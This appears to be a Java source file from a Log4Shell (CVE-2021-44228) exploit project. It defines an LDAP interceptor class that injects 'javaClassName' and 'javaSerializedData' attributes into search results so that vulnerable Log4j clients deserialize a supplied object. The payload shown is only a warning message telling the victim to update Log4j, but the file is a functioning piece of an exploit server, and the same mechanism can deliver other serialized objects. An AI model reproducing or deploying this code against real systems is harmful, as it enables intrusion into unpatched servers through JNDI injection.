package me.func.exploit.behavior;

import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;

import java.io.IOException;

public class MessageInjector implements Injector {

	private static final String PAYLOAD = "Update your log4j shell version, you was attacked with CVE-2021-44228";

	@Override
	public void send(InMemoryInterceptedSearchResult result, Entry entry) throws IOException {

		entry.addAttribute("javaClassName", PAYLOAD.getClass().getName());
		entry.addAttribute("javaSerializedData", writeObject(PAYLOAD));

	}
}
